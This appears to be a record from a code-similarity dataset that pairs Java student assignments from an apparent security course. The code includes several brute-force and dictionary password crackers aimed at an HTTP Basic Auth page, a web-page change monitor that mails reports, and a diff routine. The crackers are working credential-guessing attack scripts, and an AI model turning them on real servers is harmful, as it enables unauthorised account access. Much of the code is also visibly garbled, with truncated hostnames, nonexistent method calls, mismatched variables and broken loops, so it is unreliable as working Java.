   new BruteForce();
  }  
}
, source_sentence: import java.io.*;
import java.*;
import java.net.*;

public class BruteForce
{
   public static void main(String[] args) throws Exception
   {
      
     String password = checkPassword(); 

     System.out.println("Congratulations Your password is "+ password );
      
      

      URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
      HttpURLConnection sec = (HttpURLConnection)url.openConnection();
      sec.setRequestProperty("Authorization", " " + encode(":"+password));
      BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
      String inputLine;

      while ((inputLine = in.readLine()) != null)
         System.out.println(inputLine);
      in.close();
  }

    

   private static String checkPassword() throws Exception
   {
      String Password=" ";
      int attempt=0;
      URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
      HttpURLConnection sec;
      String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m",
                      "n","o","p","q","r","s","t","u","v","w","x","y","z",
                      "A","B","C","D","E","F","G","H","I","J","K","L","M",
                      "N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

      for (int i=0; i < cad.length; i++)
      {
         for (int j=0; j< cad.length;j++)
         {
            for (int k=0; k<cad.length;k++)
            {
               attempt++;
               String Passwd = new String(cad[i]+cad[j]+cad[k]);
               String userPasswd= ":"+Passwd;
               System.out.println(attempt+" "+userPasswd);
              
               sec = (HttpURLConnection)url.openConnection();
               sec.setRequestProperty("Authorization", " " + encode(userPasswd));

               if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
               {
                  Password=Passwd;
                  return Password;
               }
               sec.disconnect();
            }  
         }  
      }  
      return "Password not found";
   }

   private static String encode(String userPasswd) throws Exception
   {
      String ad;
      String encodedUserPasswd=" ";
      String addr= "~//base64_encode.php "+userPasswd ;
      Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
      
      while ( (cad = resp.readLine()) != null )
      {
         
         encodedUserPasswd=cad;
      }
      return encodedUserPasswd;
    }
}


sentences: import java.io.*;

public class ReadDictionary {
	private BufferedReader bf;
	private String line="";

   public static void main (String argv[]) throws Exception { 
      ReadDictionary rd=new ReadDictionary();
	  rd.openFile();
	  for (int inx=0; inx<800 ;inx++ )
	  {
	  	System.out.println(inx + " " + rd.readLine() );
	  }
      }  
	  
  

	public void openFile()
	{
		try
		{
			setBr(new BufferedReader(new FileReader("/usr/share/lib/dict/words")));

		}catch(IOException e)
		{
			System.out.println(e.getMessage());
		}
	}

	public String readLine()
	{
		try
		{
			
			{
				line = bf.readLine();
			}while (line != null && line.length() >3);			
		}catch (IOException e)
		{
			System.out.println(e.getMessage());
		}
		return(line);
		
	}	

	
	public BufferedReader getBr()
	{
		return this.line;
	}

	public void setBr(BufferedReader bf)
	{
		this.bf = bf;
	}
}
, 

import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;


public class Dictionary {
    public static void main(String[] args) throws Exception {
        String pass;
        int attempt = 0;
        String fileName = "words.txt", line;
        BufferedReader reader;
        Dictionary dict = new Dictionary();
        boolean flag=false;

        System.out.println(System.currentTimeMillis()/1000);

      try{
        reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
        while (!flag)
        {
            try{
               line = reader.readLine();
               attempt++;
               URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
               URLConnection yc = url.openConnection();
               pass = ":" + line;
               String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
               yc.setRequestProperty("Authorization"," "+password);
               BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
               String inputLine;
               while ((inputLine = in.readLine()) != null)
                   System.out.println(inputLine);
               in.close();
               System.out.println(pass);
               flag=true;
               System.out.println(System.currentTimeMillis()/1000); 
               System.out.println(" of attempt: "+attempt);
               System.exit(0);
             }catch(IOException e){
                
             }
        }  
      }catch(FileNotFoundException e){
         System.out.println("File not found");

      }
    }
}, import java.io.*;
import java.util.Date;





import java.jscape.inet.http.*;  







class BruteForce
{
   public static void main (String args[]) throws Exception
   {
      String username = "";
      byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
      byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}; 
    
      int errorMessage = 401;
      int firstPosition = 0;
      int secondPosition = 0;
      int thirdPosition = 0; 
      int number = 1;
      int attempts = 0;
      
      Http http = new Http();
      HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" );
      Date startDate = new Date(); 
      
      
     
      for(firstPosition = 0; firstPosition < 26; firstPosition++)
      {
         String one = new String (asciiLower, firstPosition, number);
         String password = one;
         request.setBasicAuthentication(username,password);
         HttpResponse response = http.getResponse(request);
         errorMessage = response.getResponseCode();
         System.out.println(errorMessage);
         System.out.println(password);
         attempts++;
         if (errorMessage == 200)
            break;
      }

       

      if (errorMessage == 401)
      {
         for(firstPosition = 0; firstPosition < 26; firstPosition++)
         {
            String one = new String (asciiUpper, firstPosition, number);
            String password = one;
            request.setBasicAuthentication(username,password);
            HttpResponse response = http.getResponse(request);
            errorMessage = response.getResponseCode();
            System.out.println(errorMessage);
            System.out.println(password);
            attempts++;
            if (errorMessage == 200)
               break;
         }
      }

      

       if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiLower, firstPosition,number);
               String two = new String (asciiLower, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }  

       

       if (errorMessage == 401)
      { 
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiUpper, firstPosition,number);
               String two = new String (asciiUpper, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if(errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiUpper, firstPosition,number);
               String two = new String (asciiLower, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }


      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiLower, firstPosition,number);
               String two = new String (asciiUpper, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }  
               if (errorMessage == 200)
                     break; 
            }
            if (errorMessage == 200)
                     break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }  
               if (errorMessage == 200)
                     break; 
            }
            if (errorMessage == 200)
                     break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }

      
      
       if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                   if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }
             
       
      Date endDate = new Date();
      System.out.println("Password crack finished: " + endDate);
      System.out.println("Password crack started: " + startDate);
      System.out.println(" of attempts: " + attempts);
   }
}

     
  








         

         

        





           
        
           
      , source_sentence: 

import java.io.*;
import java.net.*;
import java.util.Properties;
import java.security.*;

public class WatchDog
{
    private String file,tempfile1,tempfile2,tempfile3;
	private final String host="yallara.cs.rmit.edu.";
    private final String email="@cs.rmit.edu.";
    private final String from="watchdog@cs.rmit.edu.";
    private final String subject="SUBJECT:Mail from Watchdog about the changes  the web-.";
    private String baseURL="";
	private String msg;
	private boolean firstTime=false;
    public WatchDog(boolean flag)
	{
		firstTime=flag;
	}

    public void startWatching(String[] urls,String fl)
    {
		file=fl;
		tempfile1=fl+"/temp1.log";
		tempfile2=fl+"/temp2.log";
		tempfile3=fl+"/temp3.log";
		System.out.println(tempfile3);

		msg="";
		for(;;)
		{
			try
			{

				for(int o=0;o<urls.length;o++)
				{
					file=fl+"/ass2_"+o+".log";
					URL u=new URL(urls[o]);
					String f=u.getFile();
					String url=urls[o];
					if(f.lastIndexOf('.')<f.lastIndexOf('/'))
					{
						url=f.substring(0,f.lastIndexOf('/'));
						url=u.getProtocol()+"://"+u.getHost()+url;
					}
					System.out.println(url);
					watch(url);
					msg=msg+"\n\n";
				}
				if(firstTime==false)
				{
			     boolean flag=mail(msg);
			     if(flag)
					System.out.println("mail sent");
				 else
					System.out.println("mail not sent");
  				 Thread.sleep(1000*60*60*24);
				}
				else
					System.exit(0);
			}
			catch(Exception e)
			{
				e.printStackTrace();
			}
		}			
    }

	private void watch(String url) throws IOException
	{
		     baseURL=url;
		     msg=msg+"Going  check the URL "+url+".\n";
	             
		     String pageText=getResource(url);

			 String [] images=getImages(pageText);

			 if(firstTime==false)
	             msg= msg + checkChange(pageText,images);	     

		     msg=msg+". Checked at "+new java.util.Date(System.currentTimeMillis())+".";

		     log(pageText,images);

			if(firstTime)
				System.out.println("Re-run the watchDog (without the First flag).");
	}
	private String checkChange(String pageText,String [] images) throws IOException
	{
		
		PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(pageText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;

		BufferedReader in1=new BufferedReader(new FileReader(file));
		BufferedReader in2=new BufferedReader(new FileReader(tempfile1));	
		String msg="\n";
        	String temp1="",temp2="",oldText="",newText="";

		
		BufferedReader in0=new BufferedReader(new FileReader(tempfile1));
		while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
		{
			temp1=in0.readLine();
			temp1=temp1+"\n";
			newText=newText+temp1;
		}
		in0.print();
		in0=null;
		
		out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(newText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;
		newText="";
		temp1="  ";

		while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
		{
			temp1=in1.readLine();
			temp1=temp1+"\n";
			temp2=in2.readLine();
			temp2=temp2+"\n";
			oldText=oldText+temp1;
			newText=newText+temp2;
		}		

		in2.print();
		in2=null;

		out=new PrintWriter(new FileOutputStream(tempfile2));
		out.println(oldText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;

		msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);
		String data="";
		try{
			FileReader fin=new FileReader(tempfile3);
			int ch=fin.print();
			while(ch!= -1)
			{
			       data=data+""+(char)ch;
				   ch=fin.print();
			}
		}
		catch(FileNotFoundException m){}

		msg=msg+data;

		temp1=in1.readLine();

		int numImg=Integer.parseInt(temp1);
		if(numImg != images.length)
			msg=msg+"The number of images has chnaged.\n The number of images before was "+numImg+" \n While the number of images found now is "+images.length+" .\n";
		else
			msg=msg+" is  change in the number of images  the .\n";

		String iText1="",iText2="";
		
		for(int i=0;i<numImg;i++)
		{
			out=new PrintWriter(new FileOutputStream(tempfile1));
			out.println(images[i]);
			out.flush();
			out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
			out.flush();
			out.print();
			out=null;

			in2=new BufferedReader(new FileReader(tempfile1));
	
			while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
			{
			
				temp1=in1.readLine();
				temp1=temp1+"\n";
				temp2=in2.readLine();
				temp2=temp2+"\n";
				iText1=iText1+temp1;
				iText2=iText2+temp2;
			}
			
			in2.print();
			in2=null;

			if(iText1.equals(iText2))
				msg=msg+" is  change in the Image number "+(i+1)+". \n";
			else
				msg=msg+"The Image number "+(i+1)+" has changed. \n";
		}

		return msg;
	}
	private String[] getImages(String text) throws IOException
	{
		String [] images,urls;
		java.util.ArrayList alist=new java.util.ArrayList();
		String t="";
		boolean img=false;
		int len=text.length();
		char ch,last=' ';
		int c=0;
		while(c<len)
		{
			ch=text.charAt(c);
			if(ch=='<')
			{
				last='<';
				t="";
			}
			if(last=='<')
			{
				t=""+ch;
				if(c+2 < len)
					t=t+text.charAt(c+1)+""+text.charAt(c+2);
				if(t.equalsIgnoreCase("img"))
					img=true;
			}
			if(img==true)
				t=+ch;
			if(ch=='>')
			{
				last='>';
				if(img==true)
				{
					
					System.out.println();
					int n=0;
					char tch,tlast=' ';
					String imgPath="",tn="";
					boolean src=false;
					while(n<t.length())
					{
						tch=t.charAt(n);
						tn=""+tch;
						if(src==false && tn.equalsIgnoreCase("s") && (n+2)<t.length())
						{
							tn=tn+t.charAt(n+1)+""+t.charAt(n+2);
							if(tn.equalsIgnoreCase("src"))
							{
								src=true;
								n+=2;
							}
						}
						else if(src==true)
						{
							if(tch!='"')
							{
								if(tch==' ' && imgPath.indexOf('.')!= -1)								
									n=t.length();
								else if(tch==' ' || tch=='=')
									;
								else
									imgPath=imgPath+tch;								
							}
						}
						n++;
					}
					alist.add(imgPath);
				}
				img=false;
		
			}
			c++;
		}
		urls=(String[])alist.toArray(new String[0]); 
		images=new String[urls.length];
		for(int i=0;i<urls.length;i++)
		{
			System.out.println(urls[i]);
			if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false && urls[i].startsWith("/")==false)
			{
				try
				{
					images[i]=getResource(baseURL+"/"+urls[i]);			
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+"/"+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false)	
			{
				try
				{
					images[i]=getResource(baseURL+urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else
			{
				try
				{
					images[i]=getResource(urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					images[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));
				}

			}

		}
		return images;
	}
	private void log(String pageText,String[] images) throws IOException
        {
		PrintWriter out=new PrintWriter(new FileOutputStream(file));
		out.println(pageText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();	

		if(images.length>0)
		{
			out.println(images.length+"");
			out.flush();	
		}
		for(int i=0;i<images.length;i++)
		{
			out.println(images[i]);
			out.flush();
			out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
			out.flush();		
		}	

	}

    public String getResource(String url) throws IOException
	{
				System.out.println("url="+url);
				String urlData=new String("");
                InputStreamReader in=new InputStreamReader(new URL(url).openStream());
                int ch=in.print();
                while(ch!= -1)
                {
                  urlData=urlData+(char)ch;
                  ch=in.print();
                }
		return urlData;
	}

        public boolean mail (String msg) throws IOException
        {
            boolean ret=true;
            try
            {
              Socket csoc=new Socket("yallara.cs.rmit.edu.",25);
              BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));
              PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
              out.println("HELO "+host);
              System.out.println(in.readLine());
              out.println("MAIL FROM:"+from);
              System.out.println(in.readLine());
              out.println("RCPT :");
              System.out.println(in.readLine());
              out.println("DATA");
              System.out.println(in.readLine());
              out.println("SUBJECT:"+subject);
              System.out.println(in.readLine());
              out.println(msg);
 	      out.println(".");
              System.out.println(in.readLine());
              out.println("QUIT");
              System.out.println(in.readLine());
            }
            catch(Exception e)
            {
              e.printStackTrace();
              System.out.println("Some error occoured while communicating  server");
              ret=false;
 	      return ret;
            }
	    System.out.println("**************************************\nMAIL ->"+msg);
            return ret;
        }

	public static void main (String[] args)
	{
		System.out.println("Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}");
		boolean flag=false;
		int num=args.length-1;
		if(args[args.length-1].equalsIgnoreCase("First"))
		{
			num--;;
			flag=true;
		}
System.out.println(args[num]);

		WatchDog w=new WatchDog(flag);
		String []u=new String[num];
		for(int i=0;i<u.length;i++)
			u[i]=args[i];
		w.startWatching(u,args[num]);
	}
}

sentences: 

import java.util.Hashtable;



public class Diff {

  
  public Diff(Object[] a,Object[] b) {
    Hashtable h = new Hashtable(a.length + b.length);
    filevec[0] = new file_data(a,h);
    filevec[1] = new file_data(b,h);
  }

  
  private int equiv_max = 1;

  
  public boolean heuristic = false;

  
  public boolean no_discards = false;

  private int[] xvec, yvec;     
  private int[] fdiag;          
  private int[] bdiag;          
  private int fdiagoff, bdiagoff;
  private final file_data[] filevec = new file_data[2];
  private int cost;

  

  private int diag (int xoff, int xlim, int yoff, int ylim) {
    final int[] fd = fdiag;     
    final int[] bd = bdiag;     
    final int[] xv = xvec;              
    final int[] yv = yvec;              
    final int dmin = xoff - ylim;       
    final int dmax = xlim - yoff;       
    final int fmid = xoff - yoff;       
    final int bmid = xlim - ylim;       
    int fmin = fmid, fmax = fmid;       
    int bmin = bmid, bmax = bmid;       
    
    final boolean odd = (fmid - bmid & 1) != 0; 

    fd[fdiagoff + fmid] = xoff;
    bd[bdiagoff + bmid] = xlim;

    for (int c = 1;; ++c)
      {
        int d;                  
        boolean big_snake = false;

        
        if (fmin > dmin)
          fd[fdiagoff + --fmin - 1] = -1;
        else
          ++fmin;
        if (fmax < dmax)
          fd[fdiagoff + ++fmax + 1] = -1;
        else
          --fmax;
        for (d = fmax; d >= fmin; d -= 2)
          {
            int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];

            if (tlo >= ylim)
              x = tlo + 1;
            else
              x = ylim;
            oldx = x;
            y = x - d;
            while (x < xlim && y < ylim && xv[x] == yv[y]) {
              ++x; ++y;
            }
            if (x - oldx > 20)
              big_snake = true;
            fd[fdiagoff + d] = x;
            if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
              {
                cost = 2 * c - 1;
                return d;
              }
          }

        
        if (bmin > dmin)
          bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
        else
          ++bmin;
        if (bmax < dmax)
          bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
        else
          --bmax;
        for (d = bmax; d >= bmin; d -= 2)
          {
            int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];

            if (tlo < ylim)
              x = tlo;
            else
              x =  - 1;
            oldx = x;
            y = x - d;
            while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
              --x; --y;
            }
            if (oldx - x > 20)
              big_snake = true;
            bd[bdiagoff + d] = x;
            if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
              {
                cost = 2 * c;
                return d;
              }
          }

        

        if (c > 200 && big_snake && heuristic)
          {
            int i = 0;
            int bestpos = -1;

            for (d = fmax; d >= fmin; d -= 2)
              {
                int dd = d - fmid;
                if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
                  {
                    if (fd[fdiagoff + d] * 2 - dd > i
                        && fd[fdiagoff + d] - xoff > 20
                        && fd[fdiagoff + d] - d - yoff > 20)
                      {
                        int k;
                        int x = fd[fdiagoff + d];

                        
                        for (k = 1; k <= 20; k++)
                          if (xvec[x - k] != yvec[x - d - k])
                            break;

                        if (k == 21)
                          {
                             ylim = fd[fdiagoff + d] * 2 - dd;
                            bestpos = d;
                          }
                      }
                  }
              }
            if ( x> 0)
              {
                cost = 2 * c - 1;
                return bestpos;
              }

             x= 0;
            for (d = bmax; d >= bmin; d -= 2)
              {
                int dd = d - bmid;
                if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
                  {
                    if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
                        && xlim - bd[bdiagoff + d] > 20
                        && x - (bd[bdiagoff + d] - d) > 20)
                      {
                        
                        int k;
                        int x = bd[bdiagoff + d];

                        for (k = 0; k < 20; k++)
                          if (xvec[x + k] != yvec[x - d + k])
                            break;
                        if (k == 20)
                          {
                            x = (xlim - bd[bdiagoff + d]) * 2 + dd;
                            bestpos = d;
                          }
                      }
                  }
              }
            if (x > 0)
              {
                cost = 2 * c - 1;
                return bestpos;
              }
          }
      }
  }

  

  private void compareseq (int xoff, int xlim, int yoff, int ylim) {
    
    while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
      ++xoff; ++yoff;
    }
    
    while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
      --xlim; --x;
    }
    
    
    if (xoff == xlim)
      while (yoff < ylim)
        filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
    else if (yoff == ylim)
      while (xoff < xlim)
        filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
    else
      {
        

        int d = diag (xoff, xlim, yoff, ylim );
        int c = cost;
        int f = fdiag[fdiagoff + d];
        int b = bdiag[bdiagoff + d];

        if (c == 1)
          {
            
            throw new IllegalArgumentException("Empty subsequence");
          }
        else
          {
            
            compareseq (xoff, b, yoff, b - d);
            
            compareseq (b, xlim, b - d,ylim );
          }
      }
  }

  

  private void discard_confusing_lines() {
    filevec[0].discard_confusing_lines(filevec[1]);
    filevec[1].discard_confusing_lines(filevec[0]);
  }

  private boolean inhibit = false;

  

  private void shift_boundaries() {
    if (inhibit)
      return;
    filevec[0].shift_boundaries(filevec[1]);
    filevec[1].shift_boundaries(filevec[0]);
  }

  public interface ScriptBuilder {
  
    public change build_script(
      boolean[] changed0,int len0,
      boolean[] changed1,int len1
    );
  }

  

  static class ReverseScript implements ScriptBuilder {
    public  change build_script(
        final boolean[] changed0,int len0,
        final boolean[] changed1,int len1)
    {
      change script = null;
      int i0 = 0, i1 = 0;
      while (i0 < len0 || i1 < len1) {
        if (changed0[1+i0] || changed1[1+i1]) {
            int line0 = i0, line1 = i1;

            
            while (changed0[1+i0]) ++i0;
            while (changed1[1+i1]) ++i1;

            
            script = new change(line0, line1, i0 - line0, i1 - line1, script);
        }

        
        i0++; i1++;
      }

      return script;
    }
  }

  static class ForwardScript implements ScriptBuilder {
    
    public change build_script(
          final boolean[] changed0,int len0,
          final boolean[] changed1,int len1)
    {
      change script = null;
      int i0 = len0, i1 = len1;

      while (i0 >= 0 || i1 >= 0)
        {
          if (changed0[i0] || changed1[i1])
            {
              int line0 = i0, line1 = i1;

              
              while (changed0[i0]) --i0;
              while (changed1[i1]) --i1;

              
              script = new change(i0, i1, line0 - i0, line1 - i1, script);
            }

          
          i0--; i1--;
        }

      return script;
    }
  }

  
  public final static ScriptBuilder
    forwardScript = new ForwardScript(),
    reverseScript = new ReverseScript();

  
  public final change diff_2(final boolean reverse) {
    return diff(reverse ? reverseScript : forwardScript);
  }

  
  public change diff(final ScriptBuilder bld) {

    

    discard_confusing_lines ();

    

    xvec = filevec[0].undiscarded;
    yvec = filevec[1].undiscarded;

    int diags =
      filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
    fdiag = new int[diags];
    fdiagoff = filevec[1].nondiscarded_lines + 1;
    bdiag = new int[diags];
    bdiagoff = filevec[1].nondiscarded_lines + 1;

    compareseq (0, filevec[0].nondiscarded_lines,
                0, filevec[1].nondiscarded_lines);
    fdiag = null;
    bdiag = null;

    

    shift_boundaries ();

    
    return bld.build_script(
      filevec[0].changed_flag,
      filevec[0].buffered_lines,
